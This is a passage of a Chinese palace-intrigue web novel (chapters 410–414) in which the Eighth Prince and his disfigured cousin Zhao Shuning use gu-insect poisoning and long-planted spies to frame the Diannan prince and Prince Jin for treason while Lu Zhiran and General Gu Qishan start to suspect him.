八皇子府地段并不优越,面积和装潢与其他皇子相比也远远不如。 赵虎出事之后,赵婕妤就失了宠,萧晏临从出生起就没有得到过德丰帝的偏爱。 而今只得了这么一处府邸,也在情理之中。 萧晏临不争不抢,对这番待遇似也并无不忿。 他即将前往闽南赈灾,此时,皇子府上下众人已经开始忙碌起来。 萧晏临去了书房,在昏黄的宫灯映照下,他那素日里看着稚嫩的面容平添了几分冷沉,带着令人敬畏的气势。 “把人带来,本王要见她。” 下人无需多问便知道自家主子要见的是谁,立马去了。 很快,一个身穿黑衣,戴着面纱的女子就被带了上来。 她从头到尾都遮得严严实实,只露出一双清亮的双眸。 细看的话就会发现,这女子的眼睛,与萧晏临的生得如出一辙。 女子恭敬地朝萧晏临行礼。 “奴婢见过八皇子。” 不知何故,她的声音粗哑,听上去十分刺耳。 萧晏临目光冷淡地看着她,“东西都研究出来了吗?” 女子点头,“幸不辱命。” 她取出了一个香炉模样的东西,打开,里面是蠕动着的暗红色小虫。 看到这些东西,萧晏临眸底这才浮出一丝满意。 “本王果然没有看错你,你果然有天赋。” 女子很谦逊,“一切都得益于大巫留下的札记。” 提及大巫,萧晏临的眼底闪过一抹惋惜。 她是赵家千辛万苦寻来的巫者,精通蛊术,她本该是萧晏临手中最好用的刀子,却在培育蛊虫时遭了反噬,死在了蛊虫手里,只留下了一本札记。 而今,那本札记有了新的传承人,萧晏临尚算满意。 想到接下来的行程,他的语气添了几分郑重,“本王即日便要前往闽南赈灾,你同本王一起去。大灾之后难免有疫病,你需为本王备好药方和药材,万不可出半分纰漏。若坏了本王的大计,本王可不会再念旧情。” 最后那话透着冷意,更带着上位者与生俱来的威严。 女子点头,“是。” 萧晏临见她老实本分,又缓了两分态度。 “此次前去闽南,也是想带你顺便去祭拜舅舅,见见外祖,他老人家一直记挂你。” 女子依旧恭顺地点头应是。 “你是舅舅唯一的血脉,不论你变成什么样,日后,本王地会给你应有的体面。” 女子露出感激涕零之态。 萧晏临不再与她多说,她便恭敬退下了。 她住在最偏僻的一处院中,除了位置偏远,一应物件和摆设都很齐全,她在这里,并没有受到亏待。 唯一一点,她不得自由。 她的院外随时有人守着,她离开半步,也都有人跟着。 回到小院,她照例将伺候的人尽数关在门外,这是她唯一独处的时间。 坐在铜镜前,她缓缓取下了脸上的面纱,露出了一张布满疤痕的脸。 这张脸,狰狞恐怖,令人毛骨悚然。 熟识她的人看到这张脸,依旧能认出来,这分明是本该被处斩的赵书宁! 她静静地看着镜中的自己,眼底没有一丝波澜。 这脸上的伤疤,是她自己亲手划上去的。 只有这样,她才能获得一线生机。 当初,她本已经接受了自己即将身首异处的结局,但没想到,在那碗断头饭里,她发现了一张纸条。 有人要救她。 她不知道对方是谁,但求生的本能让她选择相信。 不管对方是什么目的,要她付出什么代价,她都愿意试一试。 没有什么比活下去更加重要。 对方寻来了一个与她容貌相似的替身,自己换上了差役的衣服,离开了刑部大牢。 一切出奇地顺利。 很快,她就见到了救自己的人,八皇子萧晏临。 她很惊讶,完全没有料到会是他。 对方见到她时,盯着她的脸看了许久,然后扔给她一把匕首。 “想活命,就把脸毁了。” 赵书宁没有犹豫,亲手划花了自己的脸。 她从萧晏临的眼中看到了欣赏与满意。 “不愧是舅舅的女儿,行事果敢有魄力,也不枉费本王一再花费心思救你。” 赵书宁很惊讶,甚至怀疑自己听错了。 从萧晏临的口中,她得知自己是赵虎当初在西平时留下的遗腹子。 赵虎借着赵婕妤的光,捞了个游击将军的官衔,他并无才能,到西平就是去混军功的。 他贪玩好色,根本受不了军营里的清苦。 不少良家女子都被他和他的兵糟蹋了。 赵书宁的母亲连氏便是其中之一。 而后,赵虎被谷栖山下令当众行军法,打死了,那些被糟蹋了的女子得以报仇。 有人隐姓埋名远嫁了,有人却自尽了。 连氏本也被家人安排远嫁,但却发现有了身孕。 她本想打掉孩子,又被父母阻拦。 他们打听到,赵虎是宫中娘娘的兄长,他们的女儿能嫁给赵虎,是前世修来的福分。 若非赵虎被打死了,他们定要让女儿嫁给他。 人死了,他们很遗憾,只觉富贵梦破碎了。 但他们又打听到,赵虎没有子嗣,自己女儿怀着的,是赵家唯一的子嗣。 若他们抱着孩子去认亲,应当也能得到一笔丰厚的赏钱。 所以这孩子必须生下来。 连氏十月怀胎,生下孩子,让他们失望的是,是个女孩。 本欲将她送人,但被连氏拦下了。 当初她不愿生,而今怀胎十月,好不容易生下来了,她对这个孩子已经有了羁绊,岂能说送人就送人? 赵书宁被留下了,还获得了其他女孩不曾拥有的特权:跟着村里唯一的夫子习字,她对医术感兴趣,又跟着赤脚大夫学医。 这些特权,都是她母亲为她争取来的。 连家二老为了让日后认亲时赵书宁不被嫌弃,便也睁一只眼闭一只眼,同意了。 而赵书宁对自己的身世毫不知情。 因为连氏对二老耳提面命,不许在赵书宁面前提起,更不许对外人提起。 赵虎作恶多端,当初糟蹋了不知多少良家女子,若旁人知晓赵书宁的身份,她会被瞧不起,赵书宁自己也会自卑。 就算要让她认亲,也要远离西平,至少,让她对自己的父亲保留一个美好的幻想。 但后来,赵书宁没来得及去京城找赵家人认亲,亲人就相继去世。 他们死于瘟疫,赵书宁因为学了些医理,为自己配药,侥幸活了下来。 之后,赵书宁开始跟在舅舅和舅母手底下讨生活。 因她识文断字,又通医理,舅舅舅母才勉强收留她。 没了母亲的爱护,赵书宁凡事只能靠自己,她便越发苦心钻研医术,因为只有自己学会了,掌握了的东西,才是真正属于自己的,旁人想抢也抢不走。 第410章 一颗好用的棋子 “你九岁那年,遇到了一个游方郎中,对方看上你的资质,将自己的医术倾力相授。本王可有说错?” 赵书宁听了这话,很快就明白了什么。 “那郎中,是殿下安排的?” 萧晏临眼底再次露出欣赏之色,“那是我母妃安排的。” 唯一的兄长横死,没有留下半点血脉,赵婕妤十分痛心。 后来,经人提醒,赵婕妤才生出了派人去西平寻找的念头。 兄长风流,或许当年曾经留下了血脉。 没想到,最后竟然真的找到了。 赵书宁母亲的身份对得上,赵书宁的长相也与赵虎十分相似,一眼就能认出那是他的孩子。 赵婕妤本想立马派人把赵书宁接回来,被心腹阻止了。 彼时的赵家已经不似从前,赵书宁接回赵家,未必就能有体面的出路,说不定反而叫赵氏旁支的人欺负。 赵婕妤在宫中,也没法时时照应。 是以,此事这才搁置。 没法把人接回来,赵婕妤也做不到不管不问。 赵书宁喜欢医术,她便安排了人教导她。 至此之后,赵书宁但凡遇到任何难处,总能碰巧得以化解,正是这份“好运气”,让她顺利进了西平军当军医,在那次疫情中立下功劳。 原本赵婕妤只是照应外甥女,没想到最后她自己竟这般有出息。 赵书宁跟着楚翊安回到了京城,以十分高调的姿态出现在人前,萧晏临对这位素未谋面的表姐,也有了新的审视与考量。 她能成为自己的助力。 赵婕妤本欲第一时间与赵书宁相认,被萧晏临阻止了。 时机未到。 贸然与赵书宁相认,就会把当初赵虎做过的事重新翻出来,也会让萧晏临过早地出现在人前。 这不是他想要的。 他们藏于暗处,能更好地窥视全局。 赵婕妤对赵书宁尚有感情,但萧晏临对她,更多的只是利用。 赵书宁是一颗很好用的棋子。 当初,她前往西平时得到的那些蛊虫,便是萧晏临所授意。 他要把西平的局势搅乱。 他要把谷栖山拔掉,替舅舅报仇,也顺势安插自己的人。 至于赵书宁会不会受牵连,他不在乎。 若她受了牵连,这也是她死得其所。 谷栖山与柔妃的私情,也是萧晏临派人告知赵书宁。 而这桩秘密,也是他们追查赵书宁身世的时候,不小心查出来的。 他们一直捏着这桩秘密,只等时机恰当之时再抖出来。 他想让萧晏清出手对付萧晏辞,他们两败俱伤,自己坐收渔利。 但萧晏清太蠢,完全不是萧晏辞的对手。 这桩秘密,并没有起到他们预想中的效果。 不过没关系,他们接下来,还有其他招式。 决定救下赵书宁,也是因为接下来的计划还用得上她。 那稀薄的表姐弟情分,自然不足以让萧晏临涉险。 赵书宁很清醒,她得知了自己的身世之后,只有短暂的愣怔,很快就摆正了自己的位置。 她没有以表姐的身份自居,而是将自己摆在奴婢的位置上,当场跪下,向萧晏临表忠。 她甚至亲手把自己的嗓子毒坏了。 这样,就进一步杜绝了旁人认出她的可能。 萧晏临将大巫留下的札记交给了赵书宁,让她着手研究蛊虫,务必要在三个月内研究出成果来。 赵书宁交上了一份不错的答卷。 接下来,她要为前往闽南赈灾开始做准备。 此次赈灾,危险重重,但也是一次难得的机遇。 若八皇子此行立下功劳,他就能顺理成章地出现在朝臣面前,让大家想起来,还有八皇子这么一号人。 八皇子必须赢。 他赢了,自己也能跟着翻身。 他赢了,瑾王和陆知苒就能被踩在脚底,她的大仇也能得报。 赵书宁静静看着镜子中的自己,眼神陡然狠厉,露出了一抹阴冷的笑。 陆知苒,咱们走着瞧,且看,究竟谁能笑到最后! 近日,天气闷热,各地都是连绵暴雨,不少街道也被雨水倒灌,官差只能紧急疏通下水道,以免发生内涝。 大家看着这宛若漏了的天空,面上俱是一片忧愁。 老天爷,这场雨究竟要下到什么时候?这是要绝了大家的后路啊。 陆知苒也眉头紧锁,十分担忧。 她不仅担忧各地百姓,也担忧萧晏辞和滇南的局势。 人类在灾害面前,力量是渺小的。 天要下雨,娘要嫁人,谁都拦不住。 陆知苒自己担心,还要时常入宫陪伴柔贵妃,开解宽慰她。 柔贵妃的担心,半点都不比自己的少。 她若是哭哭啼啼,连带着柔贵妃也要更加忧愁。 婆媳二人都尽量不说丧气话,互相扶持鼓励,柔贵妃又开始调香,转移自己的注意力。 大雨又接连下了半个月,终于,在八月底时,天空开始放晴,天边挂上了一轮灼烈的太阳。 八月的太阳十分晒人,温度也骤然升高,但也让大家看到了希望。 雨停了,这场灾难也能更快地进入尾声。 但现在松下这口气,还为时尚早。 这场灾害,定然死了很多人,天气一热,就容易诱发疫病,这才是更加重中之重之事。 陆知苒不知道南边的情况如何,只能安排商行调运粮食和药材,前往灾区,补给后方。 好在,南边陆续有好消息传了回来。 苏杭一带,有洛家等商贾带头,慷慨解囊,出人出力出粮,大大缓解了救灾压力,受灾百姓比别的区域都少,灾情控制得也十分不错。 奏折传回京城,德丰帝紧皱的眉心终于舒展开了,也终于露出了一抹笑意。 但也有坏消息。 滇南路远,暴雨阻断了道路,也阻断了消息的传输,朝中久久没有收到滇南的消息。 陆知苒派了人前往滇南,也迟迟没有回信。 这让她心头更加发沉,总有一种十分不好的预感。 萧宝珠得了孙牧之的好消息,悬着的心放下大半,但对滇南的局势和萧晏辞的安危同样满怀担忧。 但除了等,她们也做不了其他。 转眼到了九月十七。 八皇子的亲事原定于今日,但如今,各地洪灾不断,八皇子也正在闽南赈灾,婚事自然往后延迟了。 巧的是,恰在今日,闽南那头开始有好消息传来。 兵部尚书卞志明向朝廷呈递了奏折,德丰帝见了,又是一阵龙心大悦。 “好,八皇子这次差事办得甚好!” 第411章 谋逆大罪 卞志明的奏折中称,八皇子殿下抵境后,即刻亲赴灾民聚集之所,温言抚慰,晓谕朝廷恩泽,更以身作则,不避污秽,躬亲劳作。 百姓感其至诚,纷纷曰:“天家皇子尚且如此,吾辈何惧灾厄?” 民心遂安,救灾之事得以顺利推行。 八皇子又主持赈务,分派粮食,搭建救济棚舍,安置老弱妇孺,疏通道路,恢复商贾,闽南灾情得以迅速控制。 灾后疫病骤起,八皇子即刻召集医官,研商对策。 起初,太医院所定药方并无效果,是八皇子寻了一位游方女医,制定良方,熬制汤药,广施于民。 又严令洁净水源,分设病坊隔离患者,阻疫病蔓延。 而今疫势已遏,病者多愈,百姓皆言:“若非殿下仁心妙策,闽南恐成鬼域。” 一封奏折,将八皇子彻底推到了人前,德丰帝对这个儿子,也第一次正眼相看。 朝臣们纷纷夸赞,“八皇子虽天潢贵胄,然与军民同甘共苦,夙夜匪懈。此番心性,非常人所有。” “八皇子指挥若定,恩威并施,官吏慑服,百姓归心。闽南局势得控,实赖殿下之德能,更是陛下教子有方,天下幸甚!” 众人纷纷拍马屁,德丰帝亦是脸上有光,加之闽南疫情控制住了,他的心情也肉眼可见地好了起来。 唯一让他忧心的是,滇南依旧情况不明。 此时距离萧晏辞离京已经过了两个月,却没有传回半点消息。 德丰帝之后又派出了人马前往滇南,也是有去无回。 这样反常的情况,让不少人心中生出疑窦,只怕滇南发生了大事。 这个猜测很快得到了验证。 这一日,一行人马从城外匆匆赶回。 其中一人的马上还驮着一个浑身脏污,满身狼狈的人。 这一行人,赫然是龙鳞卫。 为首的龙鳞卫亮出令牌,直接便入了宫,连带着那满身狼狈的人也被带进了宫。 旁人只当这是个遭灾的流民,殊不知,他乃工部左侍郎朱吉瑞,正是此前奉命前往滇南开挖金沙的主事。 此前,滇南发急报,称金沙流域遭遇山体滑坡,开挖的官员与士兵尽数被掩埋,无一生还。 没曾想,今日,工部左侍郎朱吉瑞竟回来了,而且还是这副狼狈的模样。 龙鳞卫有直接面见皇上的权利,众人进了御书房,齐齐跪下。 龙鳞卫的首领盛昌明沉声开口,“皇上,滇南局势有异,” 德丰帝面色一沉。 “怎么回事?” 方才还半死不活的朱吉瑞见到了德丰帝,瞬间便撑起了一口气。 他语气悲痛,高声道:“皇上,臣滇南金沙督办使朱吉瑞,冒死谨奏,滇南王勾结外敌、伪造灾情、屠戮朝廷命官,意图谋反!” 此话一出,德丰帝原本就沉的脸色更沉了几分。 “大胆!你敢信口胡言,可知道是什么后果?” “皇上,微臣所言句句属实,绝无半个字作假!臣本奉命督采滇南金沙,以充国库,滇南王亦派人积极配合,起初挖金一事进展顺利,殊不知,这只是表象,实则滇南王早就包藏祸心。” “滇南近日所谓洪涝灾害,实乃滇南王命人暗中掘堤放水、堵塞河道所致,并非天灾!其目的不过是阻拦朝廷继续开采金沙。 ” “洪水之后,滇南王假借救援之名,暗中指使滇南丛林部族伪装成山匪,对幸存的采金官员及工匠进行围剿屠杀!” “臣亲眼所见,同僚数十人皆被残忍杀害,仅有臣与少数几人侥幸逃脱。滇南王此举,意在灭口,使朝廷无从查证! ” “臣在逃亡途中,偶然截获滇南王密信,方知其早已与南越国暗中勾结!南越国陈兵边境,并非偶然,而是与滇南王约定里应外合——滇南王借天灾之名断绝朝廷联系,自立为王,而南越国则趁机出兵,助其对抗朝廷,事后共分金沙之利!” “微臣侥幸遇到龙鳞卫,这才九死一生,逃了回来,微臣不得不冒死上奏,伏乞陛下速派密使查证,调兵镇压滇南王叛乱,以免酿成大祸!” 说完这番话,朱吉瑞已力竭,匍匐在地。 德丰帝的身子一阵摇晃,脑子亦是一阵嗡鸣,好半晌没能缓过神来。 冯有才的脸色也变了,他赶忙伸手搀扶德丰帝。 “皇上,您先别急,此事尚未查清楚,或许其中另有什么误会呢?” 德丰帝急喘了几口,看向盛昌明,“你说。” 盛昌明低头,语气沉痛。 “微臣赶到时,通往滇南的要道已被破坏,微臣等想强行闯关,但却遭到了对面的袭击,折损不少人手。微臣亮出身份,对面的袭击依旧没有减弱,反而更加猛烈。” “微臣从对方的箭羽上,看到了工部的标记,那些弓箭,或许是出自瑾王殿下的援军。” 话音落,德丰帝的面皮狠狠抖动,脸色也阴沉得吓人。 盛昌明又忙道:“微臣唯恐自己认错,便搜集了不少弓箭,已经送往工部,请工部的匠人辨认。” 刚巧,工部那边有了结果。 那些残箭,的确出自工部,而只有瑾王率的援军用的是工部打造的弓箭。 瑾王的援军,为何不露面,反而要暗中对龙鳞卫下手,阻拦他们跨过阻碍,抵达滇南? 这其中的缘由,实在耐人寻味。 朱吉瑞再次开口,“皇上,微臣斗胆,只怕朝廷的援军已被策反,此军恐非勤王之师,实为助逆之兵啊!” 德丰帝大手在案上重重一拍,“大胆,你这是暗指瑾王谋逆?” “微臣不敢,但此事关乎社稷安危,臣以残躯苟活,唯愿陛下明察!若微臣有一字虚言,甘受凌迟之刑!” 德丰帝呼吸急促,许久没有说话。 滇南的局势成谜,德丰帝心头的疑团越来越大,一时之间,他也难以决断。 滇南当真有谋反之心? 这个念头升起就再难压下。 让他难以接受的是,他的儿子,他属意的太子,在其中扮演怎样的角色? 他是否是此事的同谋? 他本不大可能会谋反,但若谷栖山与柔贵妃的私情是真…… 德丰帝的脑袋一阵发胀,太阳穴上的青筋突突直跳,状态看上去很不好。 冯有才一阵心惊,“皇上,此事还需从长计议,您还是先以龙体为重啊。” 第412章 滇南的探子 “朕无事……” 但说完这话,他整个人就直直往后栽去,冯有才慌忙扶住,殿内众人也乱作一团。 太医匆匆而来,给德丰帝施针时,眉头锁得紧紧的。 这大半年,德丰帝的身体一日不如一日,这次昏倒,乃急火攻心所致。 让德丰帝苏醒过来简单,真正难的,是怎么把亏损的元气补上来。 心情也是影响身体的重要因素,若他能保持心情愉悦,身体自然能好大半。 但除非各地局势能恢复,不然,德丰帝的心情也好不了。 德丰帝苏醒之后,连口气都没来得及喘,便召集众臣,商议滇南局势。 众臣得知此事,俱是大惊。 大家分成了两派,一派认为滇南府完全没有反的必要,瑾王更不可能反,他分明是太子的最佳人选,又何必舍近求远,去做这冒天下之大不韪之事? 有人认为滇南府早就包藏祸心。 瑾王明面上是最有可能的太子人选,但吴王的前车之鉴摆在眼前,皇上迟迟不下旨立太子,最后时局如何变化,都未可知。 这种情况下,难保滇南王和瑾王不会狗急跳墙。 两派人都觉得朝廷应当派兵,只是一派人建议派兵支援滇南,以防南越国趁火打劫。 另一派人则主张剿灭叛军,以免让南越国得逞,将滇南收为附庸。 两派人争吵不休,德丰帝揉着眉心听着,眸色沉沉,叫人看不出心中所想。 最后,双方谁都没能说服谁,德丰帝也没了耐烦继续听下去,把人都打发了。 这个决定不好做。 德丰帝是一国之君,也不敢妄下决断。 柔贵妃前来求见,德丰帝略一犹豫,还是见了她。 前朝之事传入后宫,柔贵妃得知此事,如天崩地裂般。 这段时日,哪怕再怎么着急担忧,她也没有哭过。 但今日,她终究忍不住落了泪。 她不相信父王会有谋逆之心,阿辞就更不可能,这一切都是有心人的构陷。 她眼角带着一抹明显的泪痕,开口的声音带着明显的哭腔。 “皇上,臣妾的父兄对您,对大齐朝忠心耿耿,绝无二心,阿辞更不可能背叛您。此事定然是南越国的离间之计,您明察秋毫,万不能中了奸人的诡计,叫南越国钻了空子!” 柔贵妃梨花带雨,那副模样,我见犹怜。 德丰帝心头亦泛起波澜。 “你先起来。” 柔贵妃依旧跪地不起,“皇上,您若当真疑心阿辞,疑心臣妾的父兄,便将臣妾打入冷宫吧,他们若当真谋反,臣妾也没了继续活下去的必要。” 柔贵妃这话也是在提醒德丰帝,她尚在宫中,萧晏辞怎会不顾及她,做出这样的事? 而且,陆知苒也还在京城,萧晏辞若当真有反心,不可能不事先安排好退路。 德丰帝也想到了这一层。 这件事的确透着蹊跷。 滇南王是否有反心姑且再论,但萧晏辞的确不大可能会反。 德丰帝俯身,亲自把柔贵妃扶了起来。 “爱妃,朕相信滇南王,也相信阿辞。朕会尽快派兵前往滇南支援,定不会让南越国有可乘之机。” 柔贵妃闻言,破涕而笑。 “多谢皇上。” 柔贵妃从御书房离开,眼底发红,心中依旧没有放松。 她不敢奢望,凭自己的三两句话,就能让皇上打消疑虑。 她只是想提醒德丰帝,自己这个人质还在京城,希望他能给滇南多几分信任,至少,再给他们一次自证的机会。 德丰帝坐在案前,摊开了奏折,却许久没有下笔。 半晌,他问,“冯有才,你说,滇南王到底有没有反心?” 冯有才低着头,小心翼翼地道:“滇南王当年是扶持皇上登基的老臣,对您自是忠心耿耿。” “是啊,他是当年的从龙功臣。” 可是,几十年过去了,人心,是会变的啊。 他在滇南拥兵多年,俨然成了土皇帝,滇南百姓只知滇南王,而不知自己这个大齐皇帝。 他就当真没有动过半点不该动的心思吗? 诸多心思压下,当务之急,还是先解决外患,回头再料理内忧。 德丰帝沉声开口,“替朕研墨。” 德丰帝提笔,写了圣旨,派兵前往滇南支援赈灾,抵御南越国,万不能叫南越国踏入我大齐疆土半步。 冯有才看到这道圣旨,悬着的心缓缓落了一半。 但谁都没想到,这道圣旨还没来得及颁布,事情又有了变故。 这日,刑部尚书秦中举家中抓了个贼。 那贼非寻常人,竟是滇南的探子! 那人本是秦家一个普通丫鬟,之所以会暴露,是因为她往茶水里放了东西,被人发现。 最后一番拷问,才终于撬开了她的嘴。 她往茶水里放的,不是普通的东西,而是蛊虫的虫卵! 只要喝下虫卵,蛊虫入体,就会中蛊。 秦中举第一时间让太医给他诊脉,好查看他是否中了蛊毒。 翌日上朝,秦中举就将此事道了出来。 “皇上,微臣小人之心,怀疑这样的探子只怕不止微臣府上有,其他大人府上只怕也有。还请皇上下令彻查,尤其让大家注意入口之物,万不能中了滇南府的奸计。” 原本众人还在为秦中举的倒霉叹息,没想到话头一转,就落到了他们的头上来了 众朝臣顿时人人自危起来。 秦中举将蛊虫的不同种类,以及中蛊之后的不同反应一一道出——这些都是从那丫鬟口中审出来的。 不少大人听了,都纷纷对号入座,觉得自己中招了。 德丰帝的脸色也变得十分难看,原本预备宣读的支援滇南的圣旨也搁置了。 “查!给朕彻查清楚!” 若当真是滇南府安排的探子,其司马昭之心,路人皆知! 这一查,果然陆续查出了结果。 有十几名朝臣的朝臣,都被诊出了中蛊。 太医用了引蛊之法,从他们的体内引出了蛊虫。 一切亲眼所见,半分做不得假。 那些安插在各家的探子,便似拔出萝卜带出泥,被一一拔除。 令人惊骇的是,这些探子都是他们府上的待了至少三四年的人,时间长的,甚至待了有十年之久。 德丰帝将审问之事交给了他的龙鳞卫,最后审出来的口供十分一致,他们都是滇南府的暗桩。 最近,他们都收到指示,开始对主家下蛊。 这件事在朝中上下引起了轩然大波,更是让人不寒而栗。 第413章 禁足 朝臣们人心惶惶,开始对自己府中上下进行筛查,唯恐自己身边被埋了暗桩而不自知。 而此事也让朝臣们对滇南府的态度有了转变,原本那些站在滇南府这一边,相信滇南府并无谋逆之心的朝臣,也都纷纷倒戈了。 若无谋逆之心,又怎会在朝臣家中安插眼线? 先前西平之疫时出现的蛊虫之害,只怕也是滇南府的手笔。 德丰帝大怒,派出京部大营总兵周卫海任统帅,领两万精兵前往滇南平乱。 平乱二字,十分有讲究。 乱军,既可以是南越军,也可以是滇南军。 德丰帝私下给了周卫海秘旨,允他便宜行事之权。 同时,柔贵妃也被禁足于夕颜殿,没有他的旨意,不可离开半步。 陆知苒亦被禁足于瑾王府。 一夕之间,局势就发生了变化,原本大家以为是板上钉钉的太子人选,再次有了变动。 朝中的氛围紧绷,人人自危。 陆知苒得知外头发生之事,尚未来得及做出反应,德丰帝的禁足令就来了。 她的心顿时狠狠沉入谷底。 这背后,有一只无形的大手在布局,且对方的布局早在十年前,甚至更久以前就开始了。 究竟是谁? 她想到了孙皇后宫中被动了手脚的牌位。 那牌位让孙皇后的身体日渐虚弱,也成了除掉李贵妃的一把利器,更给了萧晏清沉重一击。 原本陆知苒就怀疑,那牌位并非李贵妃动的手脚,因为孙皇后无子,除掉她对李贵妃没有任何助益,反倒会给自己徒增风险。 而今,她更确定了这一点,做下那桩事之人,只怕与此事的幕后主使是同一人。 那桩事,可以除掉萧晏清,而这件事,则会给滇南王致命一击,连带着,让萧晏辞陷入被动。 对方如此苦心积虑地布局,直至今日,方打出这张牌,这份谋算与忍耐,委实非比常人。 他们这次的敌人,比萧晏清难对付。 现在,他们甚至连对方是谁都没有查清楚。 陆知苒从结果上反推,此事谁获益最多,谁就最有可能是主谋。 但事情发酵的时间太短,真正的受益者也还没有浮出水面。 陆知苒有些焦躁,一遍遍地在屋中来回地踱步,却没有半点思路,反倒是太阳穴突突直跳。 她的思绪阻塞了。 翠芙和丹烟见她如此,心中亦十分焦急。 但她们什么都帮不上,只能劝她,“王妃,您要先冷静下来,万不能自己乱了阵脚。您若自己先乱了,还怎么想法子帮王爷翻身?” “对啊,现在王爷远在滇南,只能任由别人编排。只有您能想法子帮他了。” 丫鬟的话让她终于冷静了几分。 对,她不能乱。 乱就容易出岔子,更容易陷入对方的陷阱。 她必须要冷静下来。 会如此处心积虑的布局之人,只有那些皇子们,他们所争抢的,不过是那个位置罢了。 陆知苒在脑中一一闪过他们的脸。 最后,索性提笔,将他们的信息全都罗列出来。 只有这样,才能更加直观地判断,谁才是最大的嫌疑人。 与此同时,柔贵妃也正经受着难言的焦躁与煎熬。 她没想到,局势会急转直下,发展到这般地步。 更让她不寒而栗的,是背后之人长达十年的布局。 原来,在他们无知无觉的时候,就已经有人朝他们伸出了黑手。 十年磨一剑,对方苦等了这么久,怕是就等着这一日吧。 柔贵妃也做出了与陆知苒如出一辙的举动。 提笔,罗列,再筛选。 无论是什么魑魅魍魉,只要做过任何事,总会露出马脚来。 与此同时,萧晏临正在闽南,他还在兢兢业业地赈灾。 卞志明所呈上去的折子并非虚言,那些事,都是他做的。 他要挣功绩,要得民心,就得拿出实际行动来。 他能骗得了远在天边的德丰帝,却骗不了近在眼前的这些灾民们。 所以萧晏临做事很卖力,亲力亲为。 旁人都觉得他是个不起眼,也不受宠的皇子。 但没人知道,这些年,他的外祖家,在闽南靠着海运,早已经赚取了丰厚的财富。 赵家,在这里根基深厚,人脉广博,不缺银不缺粮,也不缺药材,这些资源,都能为他所用。 所以,他请求前往闽南赈灾。 因为他知道,他只要来,就一定能把事情办成,能赚到这个功劳。 事情发展得很顺利。 他带着朝廷的救济粮来了,但这救济粮远远不够,百姓们很快又要饿肚子了。 萧晏临便亲自到各个乡绅家中,主动低头,向他们借粮。 最终,凭借他的努力,终于为百姓借到了足以果腹的粮食。 他的此举赢得了民心。 温饱问题解决,疫病的问题接踵而来。 太医院的太医开的药方不管用,萧晏临想方设法找到了一个药方女医——实际上便是赵书宁。 赵书宁开了良方,很快治好了百姓们的疟疾。 萧晏临再次赢得了民心。 这一场赈灾,他成功了大半。 之后便是灾情之后的善后诸事,不用他再出面,自有手下能打理好。 他人在闽南,但消息却十分灵通。 朝中动向尽数传了来,萧晏临的脸上缓缓露出了一抹笑。 “看来,这次我的七皇兄要遭些罪了。” 那些下蛊的暗桩,是早在很多年前,赵家人先后想法子送进去的,且他们也一直以为自己的主家是滇南王的人。 这个认知深入人心,所以他们受刑时才会招出“实话”。 滇南王叛变的消息传回京城,德丰帝对滇南府正是疑心最重的时候,他们多年前埋下的这些暗桩,也才有了用武之地。 他的底牌一张张地打了出来,好在,效果十分不错,萧晏临对此十分满意。 一旁的赵书宁没有说话,只是双眸中闪过一抹冷芒。 陆知苒,你定想不到,自己有朝一日会落得这般下场吧。 别急,这只是开始。 不久的将来,我会光明正大地出现在你的面前。 到时候,你就只能跪在我面前,摇尾乞怜。 萧晏临转而又吩咐,“安排下去,加快进度,把此地之事了了,本王也差不多该回京了。” 眼下京中局势大好,他是时候回去摘桃子了。 第414章 咬人的狗不叫 周卫海尚在点兵点将,筹备粮草,谷栖山却入了宫,再次向皇上请缨出战。 谷栖山跪在德丰帝面前,语气急切。 “微臣自请前往滇南,协助周将军平乱,还请皇上恩准!” 德丰帝盯着他,眸底染上一抹晦暗不明。 “谷将军,你旧伤未愈,不宜奔波,还是在京中好好休养吧。” 谷栖山却不甘心,“皇上,微臣养了大半年,已经好了大半了。微臣是滇南人,对当地的气候地形都熟悉,在作战上也能更有优势。” 德丰帝却依旧没松口,“你离开滇南已经有二十多年了吧,曾经便是再熟悉,现在也陌生了。谷爱卿,须知时过境迁,而今已物是人非了,人不能一直活在过去。” 谷栖山看着德丰帝那冷淡的神色,更多的话全都卡在了喉咙口,说不出来了。 出宫的路上,他的心头沉甸甸的,似有一块巨石压着。 滇南府和瑾王的情况如何,他们一无所知。 凭借他对滇南王的了解,当初若非当真遇到了困境,他不可能向朝廷写那封求援信。 南越国虎视眈眈,瑾王率去的援军只怕也混进了不少居心叵测之徒,若不把那些暗桩铲除,后患无穷。 而今,德丰帝对滇南王又生了杀心,这支平乱之军,平的只怕不仅是南越国的乱军,更是滇南王的府军! 滇南府危矣! 谷栖山进宫前,就已经想到了结果。 但他还是决定进宫一试,万一德丰帝允了,他就可以前往滇南。 至少,他能尽己所能,帮一把。 但德丰帝对他的态度依旧冷淡而戒备,他的期待落了空。 若他悄悄前往滇南府,反倒是落入了有心人的陷阱,定要惹来杀身之祸。 他此时什么都做不了,只能在府中养伤。 只盼着自己交给瑾王的那些人能护好他,再及时把消息传回来,好叫他心中能有几分应对。 眉头紧锁地回到府中,老仆人张权匆忙来禀,“将军,查到了,八皇子果然不简单。” 谷栖山精神一凛,“进书房说。” 关上书房门,主仆二人这才低声叙话。 “八皇子的外祖赵家表面上已经没落,实际上却是在暗中发展,这些年,他们靠着海运,俨然赚得盆满钵满。八皇子在京中,暗地里也置办了不少产业,其中京城里最大的青楼和赌坊,都是八皇子的产业。他的财力不容小觑。” 谷栖山的心狠狠一沉。 果然咬人的狗不叫。 先前一直闷不吭声的八皇子,竟是藏得最深的那一个。 他一直不受宠,加上年纪最小,素日里更是腼腆内向的模样,在外人看来,他完全是一副单纯无害的形象。 这样一个人,谁会过多关注他? 可就是这么一个人,第一次前去赈灾,就把差事办得漂漂亮亮,交出了一份让皇上,让朝臣都十分满意的答卷。 而他的所有兄长,要么死,要么去了封地,先前最有可能被封太子的瑾王也栽了跟头。 短短几个月的时间,八皇子闯入众人的视线。 这些当真只是巧合吗?不可能。 更不妙的是,德丰帝现在的身体大不如前。 若德丰帝当真出个意外,只有萧晏临一个皇子在跟前,那只怕大局再难改变。 谷栖山的后背渗出冷汗。 张权也很着急,“将军,我们现在该怎么办?” 谷栖山静默不语,只是在书房中来回踱步。 八皇子的手段定然不止于此,他还可能从哪些方面下手? 谷栖山脑子一个激灵,想到了柔贵妃。 柔贵妃现在尚不知八皇子的底细,若赵婕妤找机会向她下手,简直防不胜防! 谷栖山心头几乎瞬间乱了。 定要想法子提醒她,绝不能让她中了奸计。 但他是外男,二人之间又曾经被德丰帝猜忌过,如何能提醒柔贵妃? 他不能自己出手,必须要假人之手。 陆知苒或许有法子。 此事便交给她吧。 除了被动防御,他们还要想法子主动出击。 赵家就是一个突破口。 